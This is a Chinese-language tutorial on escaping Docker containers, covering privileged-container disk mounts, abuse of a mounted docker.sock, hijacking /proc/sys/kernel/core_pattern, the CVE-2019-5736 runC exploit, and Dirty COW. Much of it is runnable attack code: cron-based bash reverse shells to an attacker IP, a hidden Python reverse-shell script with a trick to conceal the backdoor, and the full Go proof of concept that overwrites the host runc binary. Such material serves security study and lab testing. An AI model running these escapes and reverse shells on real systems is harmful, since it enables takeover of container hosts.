Docker 容器逃逸入门
0x00 前言
docker 通过 Linux 的 NameSpace 等命令实现了进程级别的隔离(文件、网络、资源),所以相比虚拟机而言,Docker 的隔离性要弱上不少 ,所以也有不少关于 Docker 逃逸的方法,所以本篇文章来简单的介绍一下
0x02 判断是否存在 Docker
首先在逃逸之前我们首先需要判断我们当前是否处于 Docker 的环境中,主要可以通过以下三个方法来判断我们是否处于容器当中
1. 检查/.dockerenv文件是否存在;
2. 检查/proc/1/cgroup内是否包含"docker"等字符串;
3. 检查是否存在container环境变量。
0x03 Docker 容器逃逸
不安全配置导致容器逃逸
特权容器逃逸
特权容器逃逸应该是听说的最多的一种了,关于特权容器的官方介绍:https://www.docker.com/blog/docker-can-now-run-within-docker/
从官方描述中可以看到特权容器拥有所有设备的访问权,通过一些设置来达到从容器内部访问和从外部访问相同
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
在非特权容器中我们通过挂载磁盘的话会因为权限不足从而导致挂载失败(如下图),而在特权容器下由于拥有了所有设备的访问权所以我们可以直接把宿主机磁盘挂载进来
特权容器启动
特权容器在创建的时候添加 --privileged 参数就可以了
docker run -it --rm --privileged ubuntu:latest bash
特权容器判断
那么当我们处于一个容器之中我们如何判断当前容器是特权容器呢?
在查阅 docker 文档 的过程中,发现在文档中提到了 Linux capability 机制
这里简单的介绍一下,接触过 Linux 提权的师傅应该知道有一个 suid 提权,suid 可以让使用者在使用拥有 SUID 特殊权限的二进制程序的时候短暂的拥有 root 权限(例如:/etc/shadow 只有root用户可以进行修改,但是当我们在通过 passwd修改密码的时候的也能正常进行修改 )
但是这样一旦被 SUID 设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性
每个线程都有 capability sets 集合类型:Permitted、Inheritable、Effective、Bounding、Ambient
我们可以通过查看线程的 capability 集合中的元素来判断当前容器是否是特权容器
查看文档发现在默认情况下下面这些 key是默认不会被添加的,capability sets 的集合中的某个类型包含下面的 Capability Key 那么是不是可以说明容器是特权容器(个人理解如有错误还望指出)
首先查看进程状态,下图是特权容器中获取的 Cap 集合,这里我们主要关注 CapEff,因为在 man 文档中
CapEff 主要是检查线程的执行权限
root@75277ec91943:/# cat /proc/1/status | grep Cap
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
利用 capsh --decode=0000003fffffffff
进行解码,检索默认没有添加的 NET_ADMIN 发现存在
回头看非特权容器的 Cap 集合值并进行解码,发现并不存在 NET_ADMIN
所以可推测出如果 cat /proc/1/status | grep Cap
查询对应出来的值为 0000003fffffffff
那么可以说明当前容器是特权容器
查阅 CDK 工具,发现该工具正是通过了这种方法来检测当前容器是否为特权容器
Linux Capability:https://man7.org/linux/man-pages/man7/capabilities.7.html
利用
前面说到在特权模式下可以直接把宿主机磁盘挂载进来,然后可以直接读取 && 修改宿主机文件
mount /dev/sda1 /tmp/a
上面是本机下面是容器,escape 是我创建的文件
然后通过创建定时任务进行反弹shell
不安全挂载导致容器逃逸
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),容器逃逸就相当容易了,除非有进一步的权限限制。
挂载 docker.sock
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),容器逃逸就相当容易了,除非有进一步的权限限制
如果当前容器中挂载了 docker.sock 导致我们可以下载一个 docker 来和守护进程通信,可以通过 docker 创建一个特权容器从而实现利用
docker run -it --rm -v /var/run/:/host-var-run/ ubuntu:latest bash
利用
方便起见直接 docker cp 复制了 进来,实际情况考虑 oss 远程下载或者yum下载等
docker cp /usr/bin/docker 365fc2529e6e:/tmp
通过 docker.sock 可以直接进行创建
./docker -H unix:///host-var-run/docker.sock ps
// 直接创建一个特权容器
root@365fc2529e6e:/# ./docker -H unix:///host-var-run/docker.sock run -it --rm -privileged ubuntu:latest bash
// 定时任务反弹shell
echo '* * * * * bash -i >& /dev/tcp/attckerip/8888 0>&1'>> ./var/spool/cron/root
挂载 procfs
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,这里主要是利用了 /proc/sys/kernel/core_pattern 会将崩溃时内存转储数据的导出方式,同时自从2.6.19内核版本开始,支持了新语法,所以我们可以通过管道符号进行命令拼接
https://man7.org/linux/man-pages/man5/core.5.html
所以思路主要是现在容器中创建恶意反弹脚本和引起报错的代码,然后通过 echo 将我们需要执行的命令写入到 /proc/sys/kernel/core_pattern 中,然后只要进程崩溃就会运行我们的命令
// 将 proc 挂载到容器中的 /host/proc
>>> docker run -it --rm --mount type=bind,source=/proc,target=/host/proc kpli0rn/ubuntu:18.04 bash
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
// 这里的 \rcore 是为了隐藏后门,不加也是可以正常触发的
echo -e "|$host_path/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
反弹shell 脚本,这里记得创建之后 chmod +x .x.py ,否则 Permission denied 导致执行失败(因为是当做脚本执行需要 +x )
ps:既然可以命令拼接那么为什么要用py来实现反弹shell呢?因为python可以接受并且忽略错误数据
# 在 docker 中的 /tmp/ 下创建 .x.py
>>> vim /tmp/.x.py.
# 内容如下
#!/usr/bin/python3
import os
import pty
import socket
lhost = "10.211.55.2"
lport = 9999
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
引起崩溃的c代码,gcc 进行编译
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
运行 ./crash
实际执行类似 bash -c .x.py
应用程序导致容器逃逸
CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。
影响版本
- docker version <=18.09.2
- RunC version <=1.0-rc6
利用条件:
攻击者可控 image,进一步控制生成的 container
攻击者具有某已存在容器的写权限,且可通过 docker exec 进入
- 通过 curl 下载镜像,或镜像可控,并且生成对应的 container
- 通过运行 poc 来替换 /bin/sh 然后当管理者/用户通过 docker exec 进入容器内部时即触发从而逃逸
环境安装
./metarget cnv install cve-2019-5736
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
// Poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"
// 编译生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
// 拷贝到 docker 容器中执行
docker cp ./main d8:/tmp
在 docker 容器中运行 poc 即可进行命令执行
反弹shell
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
var shellCmd string
func main() {
// This is the line of shell commands that will execute on the host
// var payload = "#!/bin/bash \n" + shellCmd
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.211.55.2/9999 0>&1"
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
内核漏洞导致容器逃逸
脏牛权限提升
脏牛是经常使用并且非常好用的提权工具,同样的脏牛在我们这里也是可以适用
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
cd /dirtycow-vdso/
make
./0xdeadbeef 10.211.55.2:9999 // 反弹shell
–privileged所指的特权容器并不等于Capabilities加满,事实上,前者是包含后者的。具体来说,–privileged至少包含以下能力:
当然了,攻击者角度其实不必纠结是否是真正意义上的特权容器,看看Capabilities也无妨,够用即可。
感谢师傅指出问题